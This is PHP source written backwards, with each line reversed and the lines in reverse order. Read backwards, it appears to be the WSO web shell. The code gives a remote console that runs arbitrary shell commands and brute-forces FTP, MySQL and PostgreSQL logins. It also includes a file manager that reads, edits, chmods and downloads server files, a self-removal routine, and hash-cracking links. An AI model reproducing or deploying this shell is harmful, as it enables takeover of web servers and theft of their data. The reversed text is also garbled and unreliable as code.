{ ) 'lqsgp' == ]'otorp'[TSOP_$ (fiesle }		
}			
;ser$ nruter				
;)ser$(esolc_lqsym@				
;)ssap$ ,nigol$ ,)6033:trop$?trop$(.':'.pi$(tcennoc_lqsym@ = ser$				
{ )ssap$,nigol$,trop$,pi$(ecroFeturBosw noitcnuf			
{ ) 'lqsym' == ]'otorp'[TSOP_$ (fiesle }		
}			
;ser$ nruter				
;)pf$(esolc_ptf@				
;)ssap$ ,nigol$ ,pf$(nigol_ptf@ = ser$				
;eslaf nruter )pf$!(fi				
;)12:trop$?trop$ ,pi$(tcennoc_ptf@ = pf$				
{ )ssap$,nigol$,trop$,pi$(ecroFeturBosw noitcnuf			
{ ) 'ptf' == ]'otorp'[TSOP_$ (fi		
;'>rb<'.)]'revres'[TSOP_$(srahclaicepslmth.' >naps/<:revreS>naps< '.)]'otorp'[TSOP_$(srahclaicepslmth.' >naps/<:epyT>naps<>tnetnoc=ssalc vid<>1h/<stluseR>1h<' ohce		
{ ) )]'otorp'[TSOP_$(tessi (fi	
;)(redaeHosw	
{ )(ecrofeturBnoitca noitcnuf

}
;)(retooFosw	
;'>vid/<>a/<seY>")'\sey'\,llun,llun(g"=kcilcno #=ferh a<>rb<?llehs eht evomer ot tnaw yllaeR>tnetnoc=ssalc vid<>1h/<ediciuS>1h<' ohce	
;)(redaeHosw        
)'sey' =! ]'1p'[TSOP_$(fi    
;'!rorre knilnu' ohce			
esle		
;)'devomer neeb sah llehS'(eid			
)))elifeman$ ,'' ,'!*.s\)\+d\(\!'(ecalper_gerp(knilnu@(fi		
)'sey' == ]'1p'[TSOP_$(fi	
}	
;'lmthp.'.]1[2elifeman$ = elifeman$		
;)2elifeman$ ,elifeman$ ,"#lmthp.\)*.(#"(hctam_gerp		
{))elifeman$ ,"/lmthp.\/"(hctam_gerp(fiesle}	
;'7php.'.]1[2elifeman$ = elifeman$		
;)2elifeman$ ,elifeman$ ,"#7php.\)*.(#"(hctam_gerp		
{))elifeman$ ,"/7php.\/"(hctam_gerp(fiesle}	
;'5php.'.]1[2elifeman$ = elifeman$		
;)2elifeman$ ,elifeman$ ,"#5php.\)*.(#"(hctam_gerp		
{))elifeman$ ,"/5php.\/"(hctam_gerp(fiesle}	
;'php.'.]1[2elifeman$ = elifeman$		
;)2elifeman$ ,elifeman$ ,"#php.\)*.(#"(hctam_gerp		
{))elifeman$ ,"/php.\/"(hctam_gerp(fi	
;)__ELIF__(emanesab = elifeman$	
{ )(evomeRfleSnoitca noitcnuf

}
;)'!eyb'(eid	
;)0063 - )(emit ,'' ,)]'TSOH_PTTH'[REVRES_$(5dm(eikooctes    
{ )(tuogoLnoitca noitcnuf

}
;)(retooFosw	
;'>tpircs/<;)(sucof.dmc.fc.d>tpircs<>vid/<>mrof/<' ohce	
;'>elbat/<>rt/<>dt/<>";)tneve(pk"=nwodyekno ";%001:htdiw;xp0:redrob"=elyts dmc=eman txet=epyt tupni<>dt<>dt/<$>"%1"=htdiw dt<>rt<>"%001"=htdiw 0=gnicapsllec 0=gniddapllec ";xp0:pot-redrob;555#:roloc-dnuorgkcab;5fd# dilos xp1:redrob"=elyts elbat<>aeratxet/<' ohce	
}	
;))]'1p'[TSOP_$(xEosw."n\".]'1p'[TSOP_$." $"(srahclaicepslmth ohce		
{ ))]'1p'[TSOP_$(ytpme!(fi	
;'>ylnodaer ";0:nigram;0:mottob-redrob"=elyts tuptuo=eman aeragib=ssalc aeratxet<>/rb<>rbon/<)1&>2( tuodts ot rredts tcerider >'.)'':'dekcehc'?]'tuo_ot_rredts'.)]'TSOH_PTTH'[REVRES_$(5dm[EIKOOC_$||)]'2p'[TSOP_$(ytpme!(.' 1=eulav srorre_wohs=eman xobkcehc=epyt tupni< XAJA gnisu dnes >'.)'':'dekcehc'?]'xaja'.)]'TSOH_PTTH'[REVRES_$(5dm[EIKOOC_$@(.' 1=eulav xaja=eman xobkcehc=epyt tupni<>rbon< >">>"=eulav "};)'\'\:1?dekcehc.srorre_wohs.fc.d,eulav.saila.fc.d,llun,llun(g{esle};)'\'\:1?dekcehc.srorre_wohs.fc.d,eulav.saila.fc.d,llun,llun(a{)dekcehc.xaja.fc.d(fi;)eulav.saila.fc.d(dda"=kcilcno nottub=epyt tupni<>tceles/<' ohce	
	
}	
;'>noitpo/<'.n$.'>"'.)v$(srahclaicepslmth.'"=eulav noitpo<' ohce		
}		
;eunitnoc			
;'>puorgtpo/<>"-'.)n$(srahclaicepslmth.'-"=lebal puorgtpo<' ohce			
{ )'' == v$(fi		
{ )v$ >= n$ sa ]'sesaila'[SLABOLG$(hcaerof	
;'>saila=eman tceles<>";eslaf nruter };)'\'\:1?dekcehc.srorre_wohs.siht,eulav.dmc.siht,llun,llun(g{esle};)'\'\:1?dekcehc.srorre_wohs.siht,eulav.dmc.siht,llun,llun(a{)dekcehc.xaja.siht(fi;)eulav.dmc.siht(dda};eslaf nruter;'\'\=eulav.dmc.fc.d;'\'\=eulav.tuptuo.fc.d{)'\raelc'\==eulav.dmc.fc.d(fi"=timbusno fc=eman mrof<>tnetnoc=ssalc vid<>1h/<elosnoC>1h<' ohce	
;">tpircs/<
}
;1-htgnel.sdmc = ruc	
;)''(hsup.sdmc	
;)dmc(hsup.sdmc	
;)(pop.sdmc	
{ )dmc(dda noitcnuf
}
}	
;--ruc			
esle		
;]ruc[sdmc = eulav.dmc.fc.tnemucod			
)htgnel.sdmc < ruc(fi		
;++ruc		
{ )04 == n(fi esle }	
;++ruc			
esle		
;]ruc[sdmc = eulav.dmc.fc.tnemucod			
)0=>ruc(fi		
;--ruc		
{ )83 == n(fi	
;edoCyek.e : hcihw.e ? )tnevE.wodniw( = n rav	
{ )e(pk noitcnuf
;0 = ruc rav
;)''(yarrA wen = sdmc rav
;)NWODYEK.tnevE(stnevEerutpac.wodniw )tnevE.wodniw(fi
>tpircs<" ohce    
;)(redaeHosw	
;)0 ,'xaja'.)]'TSOH_PTTH'[REVRES_$(5dm(eikooctesOSW		
))]'1p'[TSOP_$(ytpme!&&)]'xaja'[TSOP_$(ytpme(fi    
}	
;tixe		
;pmet$ ,"n\" ,)pmet$(nelrts ohce		
;)(naelc_teg_bo = pmet$		
;";thgieHllorcs.tuptuo.fc.d = poTllorcs.tuptuo.fc.d" ohce		
;";'".pmet$."'=+eulav.tuptuo.fc.d" ohce		
}		
}			
;";'".]'dwc'[SLABOLG$."'=_c" ohce				
;)(dwcteg@ = ]'dwc'[SLABOLG$				
{ ))]1[hctam$(ridhc@(fi			
{	))hctam$,]'1p'[TSOP_$,"!$)+];^[(+s\dc*.!"(hctam_gerp(fi		
;))"0\'\\t\r\n\",)]'1p'[TSOP_$(xEosw."n\".]'1p'[TSOP_$." $n\"(sehsalscdda ,'8-FTU' ,]'tesrahc'[TSOP_$(vnoci@ = pmet$		
;"n\;''=eulav.dmc.fc.d" ohce		
;)(trats_bo		
;)eurt ,'xaja'.)]'TSOH_PTTH'[REVRES_$(5dm(eikooctesOSW		
{ ))]'xaja'[TSOP_$(tessi(fi	

;)0 ,'tuo_ot_rredts'.)]'TSOH_PTTH'[REVRES_$(5dm(eikooctesOSW        
))]'1p'[TSOP_$(ytpme!(fiesle }    
;'1&>2 ' =. ]'1p'[TSOP_$        
;)eurt ,'tuo_ot_rredts'.)]'TSOH_PTTH'[REVRES_$(5dm(eikooctesOSW        
{ ))]'2p'[TSOP_$(ytpme! && )]'1p'[TSOP_$(ytpme!(fi    
{ )(elosnoCnoitca noitcnuf

}
;)(retooFosw	
;'>vid/<' ohce	
}	
;kaerb			
;'>mrof/<>">>"=eulav timbus=epyt tupni<>"'.))]'1p'[TSOP_$(emitmelif@ ,"s:i:H d-m-Y"(etad.'"=eulav hcuot=eman txet=epyt tupni<>";eslaf nruter;)eulav.hcuot.siht,llun,'\' . )]'1p'[TSOP_$(edocnelru . ''\,llun,llun(g"=timbusno mrof<>tpircs/<;""=_3p>tpircs<' ohce			
;)(ehcactatsraelc			
}			
;'!tamrof emit daB' ohce esle }				
;'!dehcuoT' ohce						
esle					
;'!liaF' ohce						
))emit$,emit$,]'1p'[TSOP_$(hcuot!(fi					
{ )emit$(fi				
;)]'3p'[TSOP_$(emitotrts = emit$				
{ ) )]'3p'[TSOP_$(ytpme! (fi			
:'hcuot' esac		
;kaerb			
;'>mrof/<>">>"=eulav timbus=epyt tupni<>"'.)]'1p'[TSOP_$(srahclaicepslmth.'"=eulav eman=eman txet=epyt tupni<>";eslaf nruter;)eulav.eman.siht,llun,'\' . )]'1p'[TSOP_$(edocnelru . ''\,llun,llun(g"=timbusno mrof<' ohce			
}			
;)'>tpircs/<)"",llun,"'.)]'3p'[TSOP_$(edocnelru.'",llun,llun(g>tpircs<'(eid					
esle				
;'>rb<!emaner t'\naC' ohce					
))]'3p'[TSOP_$ ,]'1p'[TSOP_$(emaner@!(fi				
{ ) )]'3p'[TSOP_$(ytpme! (fi			
:'emaner' esac		
;kaerb			
;'>elbat/<>rt/<>dt/<>erp/<'.)]2[h$(srahclaicepslmth.'>erp<>333333#=rolocgb dt<>dt/<>erp/<'.]1[h$.'>erp<>828282#=rolocgb dt<>dt/<>naps/<>erp/<'.]0[h$.'>erp<>";lamron :thgiew-tnof"=elyts naps<>333333#=rolocgb dt<>rt<>222222#=rolocgb 5=gniddapllec 1=gnicapsllec elbat<' ohce			
}	 		
}				
;"n\" =. ]2[h$					
;'>rb<' =. ]1[h$					
};'>rb<'.)1+i$,'X80%'(ftnirps =. ]0[h${ )nel$ < 1+i$( fi					
;0 = n$					
{ )23 == n$( fi				
;++n$				
}				
;kaerb ;]i$[c$ =. ]2[h$ :tluafed					
;kaerb ;' ' =. ]2[h$ :31 esac					
;kaerb ;' ' =. ]2[h$ :01 esac					
;kaerb ;' ' =. ]2[h$  :9 esac					
;kaerb ;' ' =. ]2[h$  :0 esac					
{ ) )]i$[c$(dro ( hctiws				
;' '.))]i$[c$(dro,'X20%'(ftnirps =. ]1[h$				
{ )i$++ ;nel$<i$ ;0=i$( rof			
;)c$(nelrts = nel$			
;)'','','>rb<00000000'(yarra = h$			
;0 = n$			
;)]'1p'[TSOP_$(stnetnoc_teg_elif@ = c$			
:'pmudxeh' esac		
;kaerb			
;'>mrof/<>">>"=eulav timbus=epyt tupni<>aeratxet/<' ohce			
}			
;)pf$(esolcf@				
;))4201 ,pf$(daerf@(srahclaicepslmth ohce					
) )pf$(foef@! (elihw				
{ )pf$(fi			
;)'r' ,]'1p'[TSOP_$(nepof@ = pf$			
;'>aeragib=ssalc txet=eman aeratxet<>";eslaf nruter;)eulav.txet.siht+'\1'\,llun,'\' . )]'1p'[TSOP_$(edocnelru . ''\,llun,llun(g"=timbusno mrof<' ohce			
}			
}				
;)emit$,emit$,]'1p'[TSOP_$(hcuot@					
;'>tpircs/<;""=_3p>tpircs<>rb<!devaS' ohce					
;)pf$(esolcf@					
;)]'3p'[TSOP_$,pf$(etirwf@					
{ )pf$(fi				
;)"w",]'1p'[TSOP_$(nepof@ = pf$				
;)1,]'3p'[TSOP_$(rtsbus = ]'3p'[TSOP_$				
;)]'1p'[TSOP_$(emitmelif@ = emit$				
{ ) )]'3p'[TSOP_$(ytpme! (fi			
}			
;kaerb				
;'elbaetirw t'\nsi eliF' ohce				
{ ))]'1p'[TSOP_$(elbatirw_si! (fi			
:'tide' esac		
;kaerb			
;'>mrof/<>">>"=eulav timbus=epyt tupni<>"'.)4-,))]'1p'[TSOP_$(smrepelif ,'o%'(ftnirps(rtsbus.'"=eulav domhc=eman txet=epyt tupni<>";eslaf nruter;)eulav.domhc.siht,llun,'\' . )]'1p'[TSOP_$(edocnelru . ''\,llun,llun(g"=timbusno mrof<>tpircs/<;""=_3p>tpircs<' ohce			
;)(ehcactatsraelc			
}			
;'>tpircs/<;""=eulav.3p.fm.tnemucod>tpircs<>rb<!snoissimrep tes t'\naC' ohce					
))smrep$ ,]'1p'[TSOP_$(domhc@!(fi				
;))1-i$-)]'3p'[TSOP_$(nelrts( ,8(wop*]i$[]'3p'[TSOP_$)tni( =+ smrep$					
)i$--;0=>i$;1-)]'3p'[TSOP_$(nelrts=i$(rof				
;0 = smrep$				
{ ) )]'3p'[TSOP_$(ytpme! (fi			
:'domhc' esac		
;kaerb			
}			
;'>vid/<'.)edoc$,)'>tnof/<',' tnof<'(yarra ,)'>naps/<',' naps<'(yarra(ecalper_rts ohce				
;)eurt,]'1p'[TSOP_$(elif_thgilhgih@ = edoc$				
;'>";kcalb:roloc;1e1e1e# :roloc-dnuorgkcab"=elyts 1lm=ssalc vid<' ohce				
{ ) )]'1p'[TSOP_$(elbadaer_si@ (fi			
:'thgilhgih' esac		
;kaerb			
;'>erp/<' ohce			
}			
;)pf$(esolcf@				
;))4201 ,pf$(daerf@(srahclaicepslmth ohce					
) )pf$(foef@! (elihw				
{ )pf$(fi			
;)'r' ,]'1p'[TSOP_$(nepof@ = pf$			
;'>1lm=ssalc erp<' ohce			
:'weiv' esac		
{ )]'2p'[TSOP_$(hctiws	
;'>rb<>rb<' ohce	
;' >a/<'.)v$:'>b/<] '.v$.' [>b<'?)]'2p'[TSOP_$@==)v$(rewolotrts((.'>")'\'.)v$(rewolotrts.''\,'\' . )]'1p'[TSOP_$(edocnelru . ''\,llun,llun(g"=kcilcno #=ferh a<' ohce		
)v$ sa m$(hcaerof	
;)'hcuoT' ,'emaneR' ,'domhC'(yarra = m$		
esle	
;)'hcuoT' ,'emaneR' ,'domhC' ,'tidE' ,'pmudxeH' ,'daolnwoD' ,'thgilhgiH' ,'weiV'(yarra = m$		
) )]'1p'[TSOP_$(elif_si (fi	
;'weiv' = ]'2p'[TSOP_$		
) )]'2p'[TSOP_$(ytpme (fi	
;'>rb<>rb<'.))]'1p'[TSOP_$(emitmelif,'s:i:H d-m-Y'(etad.' >naps/<:emit yfidoM>naps< '.))]'1p'[TSOP_$(emitaelif,'s:i:H d-m-Y'(etad.' >naps/<:emit sseccA>naps< '.))]'1p'[TSOP_$(emitcelif,'s:i:H d-m-Y'(etad.' >naps/<:emit egnahC>naps<' ohce	
;'>rb<'.]'eman'[dig$.'/'.]'eman'[diu$.' >naps/<:puorG/renwO>naps< '.)]'1p'[TSOP_$(roloCsmrePosw.' >naps/<:noissimreP>naps< '.)'-':))]'1p'[TSOP_$(eziselif(eziSweiVosw?)]'1p'[TSOP_$(elif_si(.' >naps/<:eziS>naps< '.))]'1p'[TSOP_$(emanesab@(srahclaicepslmth.' >naps/<:emaN>naps<' ohce	
;))]'1p'[TSOP_$(puorgelif@(digrgteg_xisop@ = dig$ esle }	
;)]'1p'[TSOP_$(puorgelif@ = ]'eman'[dig$		
;)]'1p'[TSOP_$(renwoelif@ = ]'eman'[diu$		
{ )diu$!(fi	
;))]'1p'[TSOP_$(renwoelif@(diuwpteg_xisop@ = diu$	
}	
;nruter		
;)(retooFosw		
;'stsixe ton eliF' ohce		
{ ) )]'1p'[TSOP_$@(stsixe_elif! (fi	
;'>tnetnoc=ssalc vid<>1h/<sloot eliF>1h<' ohce	
;)(redaeHosw	
}	
}		
}			
;)pf$(esolcf				
;"tide" = ]'2p'[TSOP_$				
{ )pf$(fi			
;)'w' ,]'1p'[TSOP_$(nepof@ = pf$			
{ ))]'1p'[TSOP_$(stsixe_elif!(fi		
{ ) 'elifkm' == ]'2p'[TSOP_$@ (fi	
}	
;tixe}		
}			
;)pf$(esolcf				
;)4201 ,pf$(daerf@ ohce					
))pf$(foef@!(elihw				
{ )pf$(fi			
;)"r" ,]'1p'[TSOP_$(nepof@ = pf$			
;)"maerts-tetco/noitacilppa :epyT-tnetnoC"(redaeh                
esle }			
;)epyt$ . " :epyT-tnetnoC"(redaeh				
;)]'1p'[TSOP_$(epyt_tnetnoc_emim@ = epyt$				
{ ))"epyt_tnetnoc_emim"(stsixe_noitcnuf( fi			
;))]'1p'[TSOP_$(emanesab."=emanelif ;tnemhcatta :noitisopsiD-tnetnoC"(redaeh			
;)6904 ,"reldnahzg_bo"(trats_bo			
{ ))]'1p'[TSOP_$(elbadaer_si@ && )]'1p'[TSOP_$(elif_si@(fi		
{ )'daolnwod'==]'2p'[TSOP_$@(fi	
;)]'1p'[TSOP_$(edocedlru = ]'1p'[TSOP_$		
) )]'1p'[TSOP_$(tessi (fi	
{ )(slooTseliFnoitca noitcnuf

}
;)(retooFosw	
;">vid/<>mrof/<		
>rb<>"\)(timbus.fh.tnemucod;'php.xedni/em.rofkcarc//:ptth'=noitca.fh.tnemucod"\=kcilcno 'em.rofkcarc'=eulav 'nottub'=epyt tupni<            
>rb<>"\)(timbus.fh.tnemucod;'5dm=s&'+eulav.hsah.fh.tnemucod+'=q?/moc.ezionder.5dm//:ptth'=noitca.fh.tnemucod"\=kcilcno 'moc.ezionder.5dm'=eulav 'nottub'=epyt tupni<			
>rb<>"\)(timbus.fh.tnemucod;'php.xedni/ur.gnikcarchsah//:sptth'=noitca.fh.tnemucod"\=kcilcno 'ur.gnikcarchsah'=eulav 'nottub'=epyt tupni<			
>/'dnif'=eulav 'tca'=eman 'neddih'=epyt tupni<            
>rb<>';xp002:htdiw'=elyts 'hsah'=eman 'txet'=epyt tupni<			
>'fh'=eman 'knalb_'=tegrat 'tsop'=dohtem mrof<		
>tnetnoc=ssalc vid<>1h/<:hsah rof hcraeS>1h<>rb<>vid/<" ohce	
;)]'c'[TSOP_$(bolGevisruceRosw		
)]'3p'[TSOP_$@(fi	
}	
}		
}			
}				
;">rb<>a/<".)meti$(srahclaicepslmth.">')"\"\,"\weiv"\ ,"\".)meti$(edocnelru.""\,llun,"\slooTseliF"\(g'=kcilcno '#'=ferh a<" ohce						
)eslaf==!)]'2p'[TSOP_$ ,)meti$(stnetnoc_teg_elif(soprts@ || )]'2p'[TSOP_$(ytpme(fi					
{ esle }				
;)meti$(bolGevisruceRosw						
)meti$=!htap$(fi					
{))meti$(rid_si@(fi				
{ )meti$ sa shtap$(hcaerof			
{ ))shtap$(tnuoc@&&)shtap$(yarra_si(fi		
;)))RIDYLNO_BOLG ,'*'.htap$(bolg@ ,)]'3p'[TSOP_$.htap$(bolg@(egrem_yarra@(euqinu_yarra@ = shtap$		
;'/'=.htap$			
)'/' =! )1- ,htap$(rtsbus(fi		
{ )htap$(bolGevisruceRosw noitcnuf	

;">mrof/<>elbat/<			
>rt/<>dt/<>'>>'=eulav 'timbus'=epyt tupni<>dt<>dt/<>dt<>rt<			
>rt/<>dt/<>'%001:htdiw'=elyts '*'=eulav 'emanelif'=eman 'txet'=epyt tupni<>dt<>dt/<:emaN>dt<>rt<			
>rt/<>dt/<>'%001:htdiw'=elyts '". )]'dwc'[SLABOLG$(srahclaicepslmth ."'=eulav 'dwc'=eman 'txet'=epyt tupni<>dt<>dt/<:htaP>dt<>rt<			
>rt/<>dt/<>'%001:htdiw'=elyts 'txet'=eman 'txet'=epyt tupni<>dt<>dt/<:txeT>'%1'=htdiw dt<>rt<			
>'%05'=htdiw '0'=gnicapsllec '1'=gniddapllec elbat<>"\;eslaf nruter;)eulav.emanelif.siht,eulav.txet.siht,llun,eulav.dwc.siht,llun(g"\=timbusno mrof<		
>tnetnoc=ssalc vid<>1h/<:selif hcraeS>1h<>rb<>vid/<>erp/<"ohce	
}	
;))]'2p'[TSOP_$(]'1p'[TSOP_$(srahclaicepslmth ohce))slooTgnirts$ ,]'1p'[TSOP_$(yarra_ni(fi		
{ ))]'1p'[TSOP_$(ytpme!(fi	
;">'tuptuOrts'=di 'xp5:pot-nigram".)'':';enon:yalpsid'?)]'1p'[TSOP_$(ytpme(."'=elyts '1lm'=ssalc erp<>mrof/<>aeratxet/<".))]'2p'[TSOP_$@(srahclaicepslmth:''?)]'1p'[TSOP_$(ytpme(.">aeragib=ssalc 'xp5:pot-nigram'=elyts 'tupni'=eman aeratxet<>rb<XAJA gnisu dnes >".)'':'dekcehc'?]'xaja'.)]'TSOH_PTTH'[REVRES_$(5dm[EIKOOC_$@(." 1=eulav xaja=eman xobkcehc=epyt tupni< >/'>>'=eulav 'timbus'=epyt tupni<>tceles/<" ohce		
;">noitpo/<".k$.">'".)v$(srahclaicepslmth."'=eulav noitpo<" ohce		
)v$ >= k$ sa slooTgnirts$(hcaerof	
;">'looTtceles'=eman tceles<>';eslaf nruter };)eulav.tupni.siht,eulav.looTtceles.siht,llun,llun(g{esle};)eulav.tupni.siht,eulav.looTtceles.siht,llun,llun(a{)dekcehc.xaja.siht(fi'=timbuSno 'mroFsloot'=eman mrof<" ohce	
;'>tnetnoc=ssalc vid<>1h/<snoisrevnoc gnirtS>1h<' ohce	
;)(redaeHosw	
;)0 ,'xaja'.)]'TSOH_PTTH'[REVRES_$(5dm(eikooctesOSW		
))]'1p'[TSOP_$(ytpme!&&)]'xaja'[TSOP_$(ytpme(fi    
}	
;tixe		
;pmet$ ,"n\" ,)pmet$(nelrts ohce		
;"n\;'".)"0\'\\t\r\n\",))(naelc_teg_bo(srahclaicepslmth(sehsalscdda."'=LMTHrenni.)'tuptuOrts'(dIyBtnemelEteg.tnemucod;''=yalpsid.elyts.)'tuptuOrts'(dIyBtnemelEteg.tnemucod" = pmet$		
;)]'2p'[TSOP_$(]'1p'[TSOP_$ ohce			
))slooTgnirts$ ,]'1p'[TSOP_$(yarra_ni(fi		
;)(trats_bo		
;)eurt ,'xaja'.)]'TSOH_PTTH'[REVRES_$(5dm(eikooctesOSW		
{ ))]'xaja'[TSOP_$(tessi(fi	
;)	
,'nelrts' >= 'htgnel gnirtS'		
,'srahclaicepslmth' >= 'srahclaicepslmtH'		
,'reppuotrts' >= 'esac reppu ot gnirtS'		
,'rewolotrts' >= 'esac rewol ot gnirtS'		
,'cednib' >= 'CED ot NIB'		
,'xehnib' >= 'XEH ot NIB'		
,'nibced' >= 'NIB ot CED'		
,'xehced' >= 'XEH ot CED'		
,'nib2xeh' >= 'NIB ot XEH'		
,'cedxeh' >= 'CED ot XEH'		
,'iicsa2xeh' >= 'IICSA ot XEH'		
,'xeh2iicsa' >= 'XEH ot IICSA'		
,'23crc' >= '23CRC'		
,'tpyrc' >= 'tpyrc'		
,'1ahs' >= 'hsah 1ahs'		
,'5dm' >= 'hsah 5dm'		
,'edocnelru_lluf' >= 'edocnelru lluF'		
,'edocedlru' >= 'edoced lrU'		
,'edocnelru' >= 'edocne lrU'		
,'edoced_46esab' >= 'edoced 46esaB'		
,'edocne_46esab' >= 'edocne 46esaB'		
(yarra = slooTgnirts$	
}};)r$(reppuotrts nruter;))]i$[p$(dro(xehced.'%' =.r$)i$++;)p$(nelrts<i$;0=i$(rof;''=r${)p$(edocnelru_lluf noitcnuf{ ))'edocnelru_lluf'(stsixe_noitcnuf!(fi	
}};)r$(reppuotrts nruter;))]i$[p$(dro,'X20%'(ftnirps =.r$)i$++;)p$(nelrts<i$;0=i$(rof;''=r${)p$(xeh2iicsa noitcnuf{ ))'xeh2iicsa'(stsixe_noitcnuf!(fi	
}};r$ nruter};))]1+i$[p$.]i$[p$(cedxeh(rhc=.r${)2=+i$;)p$(neLrts<i$;0=i$(rof;''=r${)p$(iicsa2xeh noitcnuf{ ))'iicsa2xeh'(stsixe_noitcnuf!(fi	
}};))p$(cednib(xehced nruter{ )p$(xehnib noitcnuf{ ))'xehnib'(stsixe_noitcnuf!(fi    
}};))p$(cedxeh(nibced nruter{ )p$(nib2xeh noitcnuf{ ))'nib2xeh'(stsixe_noitcnuf!(fi	
{ )(slooTgnirtSnoitca noitcnuf

}
;)(retooFosw	
;">vid/<>elbat/<>mrof/<>rt/<>dt/<>'>>'=eulav 'timbus'=epyt tupni<" ohce    
;";psbn&>'" . )'zg.rat':'piz'?'piz' == ]'tca'[EIKOOC_$( . "." . )"siH_dmY"(etad . "_osw'=eulav 2p=eman txet=epyt tupni< :eman elif" ohce        
)))'rat' == ]'tca'[EIKOOC_$( || )'piz' == ]'tca'[EIKOOC_$(( && )]'f'[EIKOOC_$(tnuoc@ && )]'tca'[EIKOOC_$(ytpme! && )"cpg_setouq_cigam_teg"(stsixe_noitcnuf(fi    
;";psbn&>tceles/<" ohce    
;">noitpo/<sserpmoC / etsaP>'etsap'=eulav noitpo<" ohce        
))]'f'[EIKOOC_$(tnuoc@ && )]'tca'[EIKOOC_$(ytpme! && )"cpg_setouq_cigam_teg"(stsixe_noitcnuf(fi    
;">noitpo/<)zg.rat( sserpmoC>'rat'=eulav noitpo<" ohce    
;">noitpo/<)piz( sserpmocnU>'piznu'=eulav noitpo<>noitpo/<)piz( sserpmoC>'piz'=eulav noitpo<" ohce        
))'evihcrApiZ'(stsixe_ssalc(fi    
;">noitpo/<eteleD>'eteled'=eulav noitpo<>noitpo/<evoM>'evom'=eulav noitpo<>noitpo/<ypoC>'ypoc'=eulav noitpo<>'1p'=eman tceles<	
>'".)'':]'tesrahc'[TSOP_$?)]'tesrahc'[TSOP_$(tessi( ."'=eulav tesrahc=eman neddih=epyt tupni<	
>'". )]'dwc'[SLABOLG$(srahclaicepslmth . "'=eulav c=eman neddih=epyt tupni<	
>'naMseliF'=eulav a=eman neddih=epyt tupni<	
>7=napsloc dt<>rt<" ohce	
}	
;1:0?l$ = l$		
;'>rt/<>dt/<'.)'':'>a/<D>")'\daolnwod'\ ,'\'.)]'eman'[f$(edocnelru.''\,llun,'\slooTseliF'\(g"=kcilcno "#"=ferh a< >a/<E>")'\tide'\ ,'\'.)]'eman'[f$(edocnelru.''\,llun,'\slooTseliF'\(g"=kcilcno "#"=ferh a< '?)'elif'==]'epyt'[f$((.'>a/<T>")'\hcuot'\ ,'\'.)]'eman'[f$(edocnelru.''\,llun,'\slooTseliF'\(g"=kcilcno "#"=ferh a< >a/<R>")'\emaner'\ ,'\'.)]'eman'[f$(edocnelru.''\,llun,'\slooTseliF'\(g"=kcilcno "#"=ferh a<>dt<>dt/<'.			
]'smrep'[f$.'>")'\domhc'\,'\'.)]'eman'[f$(edocnelru.''\,llun,'\slooTseliF'\(g"=kcilcno #=ferh a<>dt<>dt/<'.]'puorg'[f$.'/'.]'renwo'[f$.'>dt<>dt/<'.]'yfidom'[f$.'>dt<>dt/<'.)]'epyt'[f$:)]'ezis'[f$(eziSweiVosw?)'elif'==]'epyt'[f$((.'>dt<>dt/<>a/<'.)'>b/<] ' . )]'eman'[f$(srahclaicepslmth . ' [>b<>' . )"'}]'knil'[f${'=eltit" : '' ? )]'knil'[f$( ytpme( . ' ";)'\'.]'htap'[f$.''\,'\naMseliF'\(g':)]'eman'[f$(srahclaicepslmth.'>")'\weiv'\ ,'\'.)]'eman'[f$(edocnelru.''\,llun,'\slooTseliF'\(g'?)'elif'==]'epyt'[f$((.'"=kcilcno #=ferh a<>dt<>dt/<>xbkhc=ssalc "'.)]'eman'[f$(edocnelru.'"=eulav "][f"=eman xobkcehc=epyt tupni<>dt<>'.)'':'1l=ssalc '?l$(.'rt<' ohce		
{ )f$ sa selif$(hcaerof	
;0 = l$	
;)selif$ ,srid$(egrem_yarra = selif$	
;)"pmCosw" ,srid$(trosu	
;)"pmCosw" ,selif$(trosu	
}	
;)1-:1?]1[]'tros'[SLABOLG$(*)1 : 1- ? )]'ezis'[b$ < ]'ezis'[a$(( nruter			
esle		
;)1-:1?]1[]'tros'[SLABOLG$(*))]]0[]'tros'[SLABOLG$[b$(rewolotrts ,)]]0[]'tros'[SLABOLG$[a$(rewolotrts(pmcrts nruter			
)'ezis' =! ]0[]'tros'[SLABOLG$(fi		
{ )b$ ,a$(pmCosw noitcnuf	
;tros$ = ]'tros'[SLABOLG$	
	
}	
;))'rid' >= 'epyt'(yarra ,pmt$(egrem_yarra = ][srid$			
))]i$[tnetnoCrid$ . ]'dwc'[SLABOLG$(rid_si@(fiesle		
;)))]'htap'[pmt$(knildaer >= 'knil' ,'knil' >= 'epyt'(yarra ,pmt$(egrem_yarra = ][srid$			
))]i$[tnetnoCrid$ . ]'dwc'[SLABOLG$(knil_si@(fiesle		
;))'elif' >= 'epyt'(yarra ,pmt$(egrem_yarra = ][selif$			
))]i$[tnetnoCrid$ . ]'dwc'[SLABOLG$(elif_si@(fi		
;)					
)]i$[tnetnoCrid$(puorgelif@:]'eman'[rg$?]'eman'[rg$ >= 'puorg' 					
,)]i$[tnetnoCrid$(renwoelif@:]'eman'[wo$?]'eman'[wo$ >= 'renwo' 					
,)]i$[tnetnoCrid$.]'dwc'[SLABOLG$(eziselif@ >= 'ezis' 					
,)]i$[tnetnoCrid$ . ]'dwc'[SLABOLG$(roloCsmrePosw >= 'smrep' 					
,))]i$[tnetnoCrid$ . ]'dwc'[SLABOLG$(emitmelif@ ,'s:i:H d-m-Y'(etad >= 'yfidom' 					
,]i$[tnetnoCrid$.]'dwc'[SLABOLG$ >= 'htap' 					
,]i$[tnetnoCrid$ >= 'eman'(yarra = pmt$		
;))]i$[tnetnoCrid$(puorgelif@(digrgteg_xisop@ = rg$		
}		
;'' = wo$			
{esle}		
;))]i$[tnetnoCrid$(renwoelif@(diuwpteg_xisop@ = wo$			
{))'diuwpteg_xisop'(stsixe_noitcnuf(fi		
{ )++i$;n$<i$;0=i$(rof	
;)tnetnoCrid$(tnuoc = n$	
;)(yarra = selif$ = srid$	
